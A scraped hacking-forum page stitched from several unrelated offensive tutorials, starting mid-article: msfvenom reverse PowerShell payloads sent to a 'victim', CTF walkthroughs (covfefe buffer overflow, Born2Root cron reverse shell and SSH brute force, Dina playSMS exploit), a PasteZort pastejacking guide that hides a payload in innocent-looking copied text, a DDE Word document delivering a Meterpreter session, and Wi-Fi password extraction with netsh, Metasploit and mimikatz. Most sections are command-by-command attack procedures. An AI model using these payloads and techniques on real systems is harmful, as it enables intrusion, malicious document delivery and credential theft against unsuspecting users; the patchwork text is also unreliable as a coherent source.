msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lhost 4444
msf exploit(handler) > run
Once the payload gets executed, it will create a reverse tcp connection on our kali machine providing us with meterpreter sessions, as shown on the image below.
[Image: 26.png?w=687&ssl=1]

Powershell Payload
Open Kali Terminal and type the command as mention below:
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.0.107 lport=4444 > /root/Desktop/shell.bat
1
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.0.107 lport=4444 > /root/Desktop/shell.bat
[Image: 23.png?w=687&ssl=1]

Once the payload gets generated send it to the victim to execute on his windows machine and start multi handler as shown in below image.
msf > use multi/handler
msf exploit(handler) > set payload cmd/windows/reverse_powershell
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
1
2
3
4
5
msf > use multi/handler
msf exploit(handler) > set payload cmd/windows/reverse_powershell
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
Once the payload gets executed, it will create a reverse connection to shell as shown in the image below.
[Image: 24.png?w=687&ssl=1]

Today we are going to take on another challenge known as “covfefe”.IT is a Debian 9 based Boot to root VM, originally created as a CTF for SecTalks_BNE. The author of this VM is “Tim Kent”. We have to find 3 flags to complete the challenge.
You can download this VM:

[To see content please register here]

Security Level: Beginner
Penetrating Methodology:
Scanning

Netdiscover
NMAP

Enumeration

Web spidering
Directory enumeration

Exploiting

Ssh login
John

Privilege Escalation

Exploiting SUID Executables

Capture the Flag
Walkthrough
Scanning
Let’s start off by scanning the network and identifying host IPs. As illustrated below, we can identify our host IP as 192.168.1.101.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Time to scan the Target’s IP with Nmap.
nmap -A 192.168.1.101
1
nmap -A 192.168.1.101
As you can see in the following screenshot that port 22, 80 and 31337 are open.
[Image: 2.png?w=687&ssl=1]

Enumeration
Browsing the IP with HTTP port 31337 doesn’t give any result.
[Image: 3.png?w=687&ssl=1]

Directory enumeration using dirb shows two interesting directories “/.ssh” and “/.robots.txt”. Nmap scan has earlier shown robots.txt as well but to dig dipper we went with dirb.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Further enumeration of robots.txt using curl shows a file “/taxes” among others. And as soon as we open it, we get our first flag.
curl http:// 192.168.1.101:31337/robots.txt
1
curl http:// 192.168.1.101:31337/robots.txt
[Image: 5.png?w=687&ssl=1]

On browsing 192.168.1.101:31337/.ssh we find ssh private and public key respectively as ‘id_rsa’ and ‘id_rsa.pub’ & authorized_keys.
[Image: 6.png?w=687&ssl=1]

We get a download prompt while opening ‘authorized_keys’ in the browser so we download it. We downloaded id_rsa too in the same way.
[Image: 7.png?w=687&ssl=1]

When we open authorized_keys we find a username ‘simon’ for the private key.
cat authorized_keys
1
cat authorized_keys
[Image: 8.png?w=687&ssl=1]

Exploiting
Now we use the private key to connect to the VM through ssh. But it is asking for a passphrase here.
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
[Image: 9.png?w=687&ssl=1]

We have to change its format, which can be done using a john utility called “

[To see content please register here]

”. It will convert ‘ id_rsa’ to a hash format recognized by johntheripper. Now let’s use John the Ripper to crack this hash.
chmod 777 ssh2john.py
python ssh2john.py id_rsa > hash
john hash --show
1
2
3
chmod 777 ssh2john.py
python ssh2john.py id_rsa > hash
john hash --show
We find that passphrase of the key is starwars. Now we use this passphrase along with the key to connect through ssh.
[Image: 10.png?w=687&ssl=1]

After successful ssh login using our newly acquired passphrase, we search for the SUID binaries.
ssh -i id_rsa [email protected]
find / -perm -u=s -type f 2>/dev/null
1
2
ssh -i id_rsa [email protected]
find / -perm -u=s -type f 2>/dev/null
Here we notice ‘usr/local/bin/read_message” that takes the user input and displays a message. We provide ‘simon’ as a username when asked. There is a hint for username inside the message. It should be ‘Simon’ instead of ‘simon’.
usr/local/bin/read_message
1
usr/local/bin/read_message
[Image: 11.png?w=687&ssl=1]

Privilege Escalation
Again when we open ‘read_message’ and provide ‘Simon’ as username, we get a message with a hint that we can find something in the root. Now when we enter the ‘/root’ folder and list its content we find two files named ‘flag.txt’ and ‘read_message.c’. We can’t access flag.txt yet. Moving on, inside ‘read_message’ we find our second flag.
cd /root
ls
cat flag.txt
cat read_meassage.c
1
2
3
4
cd /root
ls
cat flag.txt
cat read_meassage.c
[Image: 12.png?w=687&ssl=1]

In above screenshot reading through the source code we find that, when we enter a string it reads the first 5 characters of the string as Simon, if it matches then it runs /usr/local/sbin/message. But the input allocation for this is 20 bytes. So, we have to overflow the stack entering more than 20 bytes of data. We use the first 5 char to be ‘Simon’ followed by 15 ‘A’ and then ‘/bin/sh’ at the 21st byte.
read_message
SimonAAAAAAAAAAAAAAA/bin/sh
cd /root
ls
cat flag.txt
1
2
3
4
5
read_message
SimonAAAAAAAAAAAAAAA/bin/sh
cd /root
ls
cat flag.txt
As soon as we provide this string, we spawn a shell as root. Now we can access flag.txt. Finally, we found the third flag.
[Image: 13.png?w=687&ssl=1]

Pastejacking is a technique that takes over the clipboard of a machine, for instance, when we copy text from a website, that text can be riddled with malicious code that will execute when the text is pasted in a victim’s machine. This is a very good way to achieve a Meterpreter session because of its simplicity. All that needs to be done is; copy some harmless words from the browser and paste them on the command prompt and that’s it, session!!
We are going to walk you through the process, using a tool called PasteZort
Here’s how it happens:
The first thing you’ll need to do is get the tool from Github.
To keep it simple, from your Kali terminal, and type the following command
git clone

[To see content please register here]

1
git clone

[To see content please register here]

This will make a PasteZort folder on your desktop with the tool in it
[Image: 1.png?w=687&ssl=1]

Open the folder and you will see all the files you need to run this tool, the inside of the folder will look like the screenshot given below.
[Image: 2.png?w=687&ssl=1]

In order to execute the tool we first must change the permission of the “encode.rb” file. Right click on the “encode.rb” file and open its properties, under properties, go to the “Permissions” tab, check the box in front of “Execute” that says “Allow executing the file as program”.
[Image: 3.png?w=687&ssl=1]

Navigate to the PasteZort folder from the Kali terminal, now execute the tool using “python ./PasteZOrt.py”. Your tool is now running.
Now we can get started on making our pastejacking payload using the tools interphase. We will be making a windows payload, so in front of “Objectves:” type “1” to choose Windows as the targeted operating system.
[Image: 5.png?w=687&ssl=1]

After that, again choose option “1” under “Select Payload” to generate a windows reverse tcp shell. Enter your IP address in “LHOST” and the port number you want the exploit to communicate with in “LPORT”
You will now get an option to enter the message you want displayed as the pastejacking text, for example: we have written “ping” and “

[To see content please register here]

”.
And that’s it, your payload is ready.
You will now be asked, if you would like to turn on Handler, type “Y” and press enter
[Image: 6.png?w=687&ssl=1]

Open a web browser on the victim machine and enter your IP in the address bar, the text you typed in the message section will appear, select the text and copy it.
[Image: 7.png?w=687&ssl=1]

Open a command prompt on the victim machine, paste the copied text and press Enter.
[Image: 8.png?w=687&ssl=1]

Go back to the Kali terminal and you will see Handler starting the reverse tcp and that’s it, you’ve done it. You now have a Meterpreter session, plain and simple.
[Image: 9.png?w=687&ssl=1]

The beauty of this tool lies in its simplicity, it has a clean interphase with an intuitive workflow and can get effective results without any mess. The message section makes it easy to make your payload look as harmless as possible. This also goes to show how easy it is to get hacked, so stay vigilant.
Have fun and stay ethical.

[Guide] How to Hack the Born2Root VM (CTF Challenge)

Posted by: NINZA - 05-14-2020, 05:28 AM - Forum: Carders Home - No Replies

Hello friends! Today we are going to take another CTF challenge known as Born2Root. The credit for making this vm machine goes to “Hadi Mene” and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.137 but you will have to find your own)
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Use nmap for port enumeration.
nmap -sV 192.168.1.137
1
nmap -sV 192.168.1.137
[Image: 2.png?w=687&ssl=1]

Nmap scan shows us port 80 is open, so we open the ip address in our browser.
[Image: 3.png?w=687&ssl=1]

We don’t find anything on the web page. So we use dirb to find the directories for more information.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Now the dirb scan shows us directories. We open the icons/ directory and find a few files.
[Image: 5.1.png?w=687&ssl=1]

Among the files, there is a text file we open it and find a private key.
[Image: 5.png?w=687&ssl=1]

We use this key to log in through ssh to the target machine we use the names we find on the page we first opened. First, we change the permissions of the private key. Then we use it to connect through ssh.
chmod 600 id_rsa
ssh -i id_rsa [email protected]
1
2
chmod 600 id_rsa
ssh -i id_rsa [email protected]
[Image: 6.png?w=687&ssl=1]

When we connect it will ask for password just press enter, it is there for trolling.
Searching through the files we take a look at cron job.
cat /etc/crontab
1
cat /etc/crontab
[Image: 7.png?w=687&ssl=1]

We find that a file to called sekurity.py in the /tmp/ is to be executed every 5 minutes. But the file is missing from the folder. So we create a reverse shell of our own and save it as sekurity.py in the /tmp/ folder.
[Image: 8.png?w=687&ssl=1]

Now we set up our listener using netcat and wait for the cronjob to execute our file. Once the file is executed we get our reverse shell as a different user.
[Image: 9.png?w=687&ssl=1]

We couldn’t find anything that could help us root the machine. Now we use the third the user to root the machine. We know that the third user is hadi. So we create a dictionary using this name.
We use cupp to create a dictionary.
[Image: 10.png?w=687&ssl=1]

After we create a dictionary we use metasploit to bruteforce our way into ssh.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.1.137
msf auxiliary(ssh_login) > set username hadi
msf auxiliary(ssh_login) > set pass_file hadi.txt
msf auxiliary(ssh_login) > run
1
2
3
4
5
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.1.137
msf auxiliary(ssh_login) > set username hadi
msf auxiliary(ssh_login) > set pass_file hadi.txt
msf auxiliary(ssh_login) > run
[Image: 11.png?w=687&ssl=1]

Now once we enter the shell we spawn the terminal and use hadi’s password (‘hadi123’) to enter the root shell.
python -c "import pty; pty.spawn('/bin/bash')"
su root
1
2
python -c "import pty; pty.spawn('/bin/bash')"
su root
[Image: 12.png?w=687&ssl=1]

Now that we are root we open the flag.txt and find a congratulatory message for completing the VM challenge.
[Image: 13.png?w=687&ssl=1]

[To see content please register here]

DDE stands for “Dynamic Data Exchange”, this is a method used by windows to facilitate one program being able to subscribe to an item made using another program. This exploit uses that functionality to exploit a victim endpoint. Once the victim clicks on the word file, an HTA payload is retrieved via HTTP and session is achieved.
Here is a step-by-step description of how it happens:
The code for the exploit has to be copied into Leafpad and saved with a “.rb” extension, you can name it anything you like, to avoid any confusion, ours is named “dde_delivery.rb”. This file has to now be moved into the windows section of the exploit folder in Metasploit, you can find the path and exploit URL below.
Exploit URL –

[To see content please register here]

Path of windows folder in Kali – usr > share > Metasploit-framework > modules > exploits > windows
Here is what the exploit being pasted into the “windows” folder will look like.
[Image: 2.png?w=687&ssl=1]

Now open a terminal and start Metasploit, once it starts, type “use exploit/windows/dde_delivery” and the exploit will load. Once that is done, all you need to do is set srvhost, this is the host IP. Once the exploit loads, type “set srvhost” followed by your IP, you can see what that would look like in the screenshot given below.
Press enter and you’re all set.
Type “exploit” and press Enter.
You will see the code generated, it has been highlighted in the screenshot given below. Copy this code.
NOTE: Do not close the terminal, it must remain active throughout.
[Image: 3.png?w=687&ssl=1]

Open Microsoft Word, navigate to the “Insert” tab, under the “Text” section you will find “Quick Parts”, click on it and in the drop menu you will see “Field…”
[Image: 4.png?w=687&ssl=1]

Click on “Field…”, another window will appear, by default, it will look like the screenshot pasted below, click OK
[Image: 5.png?w=687&ssl=1]

Once you click on OK, a text will appear “! Unexpected End of Formula”, select this text and right click on it, in the menu choose the option “Toggle Field Codes”.
[Image: 6.png?w=687&ssl=1]

Once this is done, the text will change to “{ =\* MERGEFORMAT } “
[Image: 7.png?w=687&ssl=1]

Paste the code you copied from Metasploit within the “{ }”, as seen below.
[Image: 8.png?w=687&ssl=1]

Save the file in a “.docx” format, you can name it anything you like and close Microsoft Word.
You now have a handy word file that can be opened on a Windows 10 machine to achieve session.
Here is what it looks like when the word file is opened:
Once the word file is opened, you will see the following message, click “Yes”.
[Image: 9.png?w=687&ssl=1]

Next, this message will appear. Again, click “Yes”
[Image: 10.png?w=687&ssl=1]

Finally, this message will appear, click “OK”
[Image: 11.png?w=687&ssl=1]

Now go back to the terminal in kali for the good part.
You will see that the moment OK is clicked in the image above, Meterpreter will come online and you will have achieved session just like that!!
[Image: 12.png?w=687&ssl=1]

If in case you were wondering why at the beginning we made you manually copy the code into Leafpad and save it into Metasploit, it’s because this is a new exploit and has not been updated into the Metasploit database.
Have fun and stay ethical.

Most of the Security protocols of Wi-Fi networks are often broken or bypassed exposing the wireless internet traffic to attackers. Through this article one can learn about different ways to get basic service sets information of remote user’s Wi-Fi as well as current network connection information, and how to extract saved Wireless LAN profiles of remote pc after that you will be disconnecting target user’s Wi-Fi too. All the following attacks are post exploitation attacks.
Table of Content

Introduction
Working of Wi-Fi
Types of Wi-Fi security
WLAN BSS List
WLAN Current Connection
WLAN Profile
WLAN Disconnect
Mimikatz
Netsh

Introduction
All wireless networking technology is commonly known as Wi-Fi. It provides high-speed internet as it works on radio waves. Wi-Fi trademark is owned by the company the Wi-Fi Alliance; it officially defined as Wireless Local Area Network (WLAN). It is supported by many applications and devices such as mobile phones, PDAs, OS, Video game consoles, etc. therefore, it lets all the devices to communicate easily.
Working of Wi-Fi
As the name suggests, the Wi-Fi network has no physical connection between the sender and the receiver. It uses radio frequency within the electromagnetic spectrum associated with radio waves. Therefore, it is able to provide high-speed internet. Every Wi-Fi connection works through an Access Point (AP). The main job of an access point is to broadcast the signal that is further detected by electronic devices. ones the signal is detected they connect to the Wi-Fi in order to use Wi-Fi.
Types of Wi-Fi security

Wired Equivalent Privacy
Wi-Fi Protected Access
Wi-Fi Protected Access 2

Netsh
Now that you have a session of the victim’s PC, go to the shell and use the following command to find out the wi-fi connections of victims’ PC over the time ;
netsh wlan show profiles
1
netsh wlan show profiles
[Image: 5.png?w=687&ssl=1]

As the above image shows, till date, the PC was connected to the Pentest Lab, Sinos, POCO PHONE, ignit. Now, we can use the following to gain detailed information about the network :
netsh wlan show networks mode=bssid
1
netsh wlan show networks mode=bssid
[Image: 6.png?w=687&ssl=1]

Now, use the following command to see the password of a particular wi-fi :
netsh wlan show profile name="ignit" key=clear
1
netsh wlan show profile name="ignit" key=clear
[Image: 7.png?w=687&ssl=1]

WLAN BSS List
This module gathers information about the wireless Basic Service Sets available to the victim machine.
e.g. this will give you SSID and other important information regarding wireless connection.
msf > use post/windows/wlan/wlan_bss_list
msf post(wlan_bss_list) > set session 5
msf post(wlan_bss_list) > exploit
1
2
3
msf > use post/windows/wlan/wlan_bss_list
msf post(wlan_bss_list) > set session 5
msf post(wlan_bss_list) > exploit
From given below image you can observe that here it has found “5 networks” such as Pen lab, Sinos, Ignite and etc along with their basic 3 Details
[Image: 1.png?w=687&ssl=1]

WLAN Current Connection
This module gathers information about the current connection on each wireless LAN interface on the target machine.
msf > use post/windows/wlan/wlan_current_connection
msf post(wlan_current_connection) > set session 5
msf post(wlan_current_connection) > run
1
2
3
msf > use post/windows/wlan/wlan_current_connection
msf post(wlan_current_connection) > set session 5
msf post(wlan_current_connection) > run
The given below image has disclosed that “pen Lab” is the current connection through which victim is connected moreover it has shown some basic details such as MAC address of the router, Security status, Authentication type and etc.
[Image: 2.png?w=687&ssl=1]

WLAN Profile
This module extracts saved Wireless LAN profiles. It will also try to decrypt the network key material. Behavior is slightly different between OS versions when it comes to WPA. In Windows Vista/7 we will get the passphrase. In Windows XP we will get the PBKDF2 derived the key.
msf post> use post/windows/wlan/wlan_profile
msf post(wlan_profile) > set session 5
msf post(wlan_profile) > exploit
1
2
3
msf post> use post/windows/wlan/wlan_profile
msf post(wlan_profile) > set session 5
msf post(wlan_profile) > exploit
From given below image you can see it has extracted the profile of wifi through which victim is connected moreover it has also decrypted the shared key (password). Hence you can confirm the password for “Pen Lab” is “ignite@123”.
[Image: 3.png?w=687&ssl=1]

WLAN Disconnect
This module disconnects the current wireless network connection on the specified interface.
msf > use post/windows/wlan/wlan_disconnect
msf post(wlan_disconnect) > set session 5
msf post(wlan_disconnect) > exploit
1
2
3
msf > use post/windows/wlan/wlan_disconnect
msf post(wlan_disconnect) > set session 5
msf post(wlan_disconnect) > exploit
From given below image you can confirm that it is disconnecting the victim from the current wireless network.
[Image: 5.png?w=687&ssl=1]

Mimikatz
I call it a post-exploitation toolkit because it has a lot of features, far beyond the ability to dump plain-text passwords.
meterpreter > load kiwi
1
meterpreter > load kiwi
[Image: 6.png?w=687&ssl=1]

meterpreter > help
1
meterpreter > help
This will give you the entire wireless connection list with passwords as well. VOILA! You got it right.
meterpreter > wifi_list
meterpreter > wifi_list_shared
1
2
meterpreter > wifi_list
meterpreter > wifi_list_shared
Great!! From given below image you can confirm that it has dumped all shared keys (password) and authentication of their respective SSID.
[Image: 7.png?w=687&ssl=1]

Today we are going to take another CTF challenge, Dina. The credit for making this VM machine goes to “Touhid Shaikh” and it is a boot2root challenge where we have to root the server and capture the flag to complete the challenge. You can download this VM

[To see content please register here]

.
Security Level: Beginner
Penetrating Methodology:

Scanning

Netdiscover
NMAP

Enumeration

NMAP
Web Directory Search

Exploitation

Metasploit

Privilege Escalation

Exploiting Sudo rights

Walkthrough:
Scanning:
Let’s start off by scanning the network and identifying the host IP address. We can identify our host IP as 192.168.43.219 by using Netdiscover.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Then, as usual, we used our favourite tool Nmap for port enumeration. We found that port 80 is open.
nmap –A 192.168.43.219
1
nmap –A 192.168.43.219
[Image: 2.png?w=687&ssl=1]

Enumeration:
As we can see port 80 is open, we tried to open the IP address in our browser but we didn’t find anything useful on the webpage.
[Image: 3.png?w=687&ssl=1]

Also in the nmap scan, we found the robots.txt directory, so we tried to open it in the browser.
[Image: 4.png?w=687&ssl=1]

Inside the robots.txt directory, we found the names of multiple directories, so we tried to open each one of them one by one but found /nothing directory useful to us.
[Image: 5.png?w=687&ssl=1]

The source code of /nothing directory revealed some passwords which were useful later.
[Image: 6.png?w=687&ssl=1]

We have got the passwords so we used dirb to find out any further directories where we could use these passwords. We found a directory named /secure.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

In the /secure directory there is a zip file named backup.zip. We download the file in our kali machine.
[Image: 8.png?w=687&ssl=1]

When we tried to extract the zip file it was password-protected, so we tried all the passwords found above and freedom was the correct one.
[Image: 9.png?w=687&ssl=1]

Now after we extract the file we find an mp3 file. We checked the file type and found out it is actually an ASCII file. We opened it and got a username touhid and a name of directory /SecreTgatwayLogin.
file backup-cred.mp3
cat backup-cred.mp3
1
2
file backup-cred.mp3
cat backup-cred.mp3
[Image: 10.png?w=687&ssl=1]

We opened the directory in the browser and got a playSMS login page. We put in the username touhid and tried the password from the above-found list and diana worked for us.
[Image: 11.png?w=687&ssl=1]

Exploitation:
In the exploitation phase, we looked for any exploit of playSMS web-application in the Metasploit and found two exploits.
search playsms
1
search playsms
[Image: 12.png?w=687&ssl=1]

We used the second exploit in which we are uploading our payload using a CSV file.
We put in the required fields and used touhid and diana as username and password.
use exploit/multi/http/playsms_uploadcsv_exec
set rhost 192.168.43.219
set lhost 192.168.43.171
set lport 4444
set username touhid
set password Diana
set targeturi /SecreTgatwayLogin
exploit
1
2
3
4
5
6
7
8
use exploit/multi/http/playsms_uploadcsv_exec
set rhost 192.168.43.219
set lhost 192.168.43.171
set lport 4444
set username touhid
set password Diana
set targeturi /SecreTgatwayLogin
exploit
[Image: 13.png?w=687&ssl=1]

After running the exploit, we successfully got a metrepreter session and the used python one-liner to get a proper shell.
On checking the sudo permissions for the www-data user, it had a sudo permission to run perl.
getuid
shell
python -c 'import pty; pty.spawn("/bin/sh")'
sudo -l
1
2
3
4
getuid
shell
python -c 'import pty; pty.spawn("/bin/sh")'
sudo -l
[Image: 14.png?w=687&ssl=1]

Privilege Escalation:
To elevate to root privileges we exploited the sudo permissions of perl and successfully got the root shell. And then traversed to the root directory and found the flag.txt file.
sudo /usr/bin/perl –e "exec '/bin/sh'"
whoami
cd /root
ls
cat flag.txt
1
2
3
4
5
sudo /usr/bin/perl –e "exec '/bin/sh'"
whoami
cd /root
ls
cat flag.txt
[Image: 15.png?w=687&ssl=1]

Pages ({1}): « Previous 1 … 848 849 850 851 852 … 1224 Next »

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis